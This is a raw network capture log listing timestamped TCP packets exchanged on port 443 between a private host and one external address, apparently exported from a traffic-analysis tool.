Sep 16, 2024 08:22:38.140714884 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.140903950 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.148828983 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.148852110 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.148894072 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.148921013 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.148952961 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.148963928 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.148989916 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.150130033 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.150135994 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.150154114 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.150166035 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.150202990 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.150218964 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.150254011 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.151273966 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.151288033 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.151354074 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.151354074 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.151375055 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.152493954 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.152513981 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.152560949 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.152576923 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.152606964 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.154505968 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.154521942 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.154566050 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.154630899 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.154690981 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.154767036 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.154767036 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.154793024 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.154825926 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.154859066 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.154930115 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.155616999 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.155625105 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.155653000 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.155667067 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.155678988 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.155688047 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.155739069 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.155739069 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.156738997 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.156754971 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.156790018 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.156795979 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.156826019 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.156893015 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.159060955 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.162914038 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.162946939 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.163011074 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.163042068 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.163064957 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.163090944 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.163090944 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.163099051 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.163131952 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.163160086 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.163160086 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.163290024 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.163295984 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.163348913 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.163376093 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.163378000 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.163448095 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.163502932 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.163503885 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.163503885 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.164402008 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.164423943 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.164467096 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.164479017 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.164501905 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.164527893 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.164529085 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.164542913 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.164597988 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.165147066 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.165168047 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.165215969 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.165266991 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.165297985 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.165303946 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.165317059 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.165350914 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.165371895 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.165397882 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.165524006 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.165565968 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.165607929 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.165637970 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.165679932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.165679932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.167608976 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.167939901 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.167960882 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.167998075 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.168004036 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.168034077 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.168158054 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.168687105 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.168729067 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.168776989 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.168895006 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.168895960 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.168963909 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.169017076 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.181606054 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.181627989 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.181735992 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.181742907 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.181759119 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.181834936 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.198422909 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.198455095 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.198515892 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.198538065 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.198550940 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.198693037 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.198755980 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.198781013 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.198805094 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.198828936 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.198848009 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.200870037 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.200922966 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.200948954 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.200957060 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.200990915 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.201555967 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.201606035 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.201611042 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.201638937 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.201680899 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.202126026 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.202181101 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.202194929 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.202203989 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.202230930 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.202244043 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.202325106 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.202375889 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.205666065 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.205709934 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.205774069 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.205842972 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.205878973 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.206459045 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.206521988 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.206523895 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.206547976 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.206589937 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.207191944 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.207245111 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.207257032 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.207274914 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.207304001 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.207324982 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.207597017 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.207657099 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.208606958 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.211244106 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.211286068 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.211314917 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.211333990 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.211361885 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.211906910 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.211972952 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.211987972 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.212009907 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.212038994 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.212040901 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.212069988 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.212107897 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.212362051 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.212426901 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.212431908 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.212445021 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.212475061 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.212476969 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.212496996 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.212527990 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.216744900 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.224503040 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.224524021 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.224576950 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.224586010 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.224637032 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.224755049 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.227138996 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.227168083 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.227253914 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.227253914 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.227260113 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.227662086 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.227778912 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.227849960 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.227868080 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.227984905 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.235369921 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.235394001 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.235452890 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.235482931 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.235508919 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.236187935 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.236206055 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.236255884 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.236269951 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.236298084 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.237021923 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.237035990 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.237092972 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.237113953 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.237159014 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.237886906 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.237905025 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.237941980 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.237957954 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.237987041 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.238590956 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.238605022 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.238653898 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.238675117 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.238702059 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.238804102 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.239411116 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.239430904 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.239474058 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.239494085 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.239516973 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.240256071 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.240277052 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.240315914 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.240330935 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.240358114 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.242840052 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.242857933 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.242927074 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.242935896 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.242954016 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.243016005 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.243499994 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.243516922 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.243594885 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.243599892 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.243613005 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.243691921 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.244330883 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.244347095 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.244395018 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.244400024 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.244414091 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.244513988 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.245264053 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.245279074 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.245310068 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.245313883 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.245354891 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.245354891 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.246061087 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.246090889 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.246104956 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.246169090 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.246169090 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.246175051 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.246243954 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.246628046 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.246644020 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.246674061 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.246679068 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.246712923 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.246751070 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.247458935 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.247473955 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.247512102 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.247518063 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.247533083 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.247597933 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.254003048 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.254061937 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.254093885 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.254108906 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.254137993 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.254158974 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.254184008 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.254240036 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.254271984 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.254340887 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.254379988 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.255322933 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.255364895 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.255435944 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.255436897 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.255449057 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.255486965 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.255537987 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.255768061 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.255820990 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.255846024 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.255858898 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.255887032 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.255908012 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.256875038 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.256932020 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.256937027 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.256963015 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.256980896 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.256985903 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.257005930 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.257016897 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.257035971 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.257061005 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.257102013 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.258435965 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.258477926 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.258512020 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.258524895 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.258550882 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.258570910 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.258702993 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.258888960 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.258961916 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.259495020 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.259568930 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.259691954 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.259738922 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.259763002 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:38.259776115 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:38.259804010 CEST	49738	443	192.168.2.5	185.199.109.133
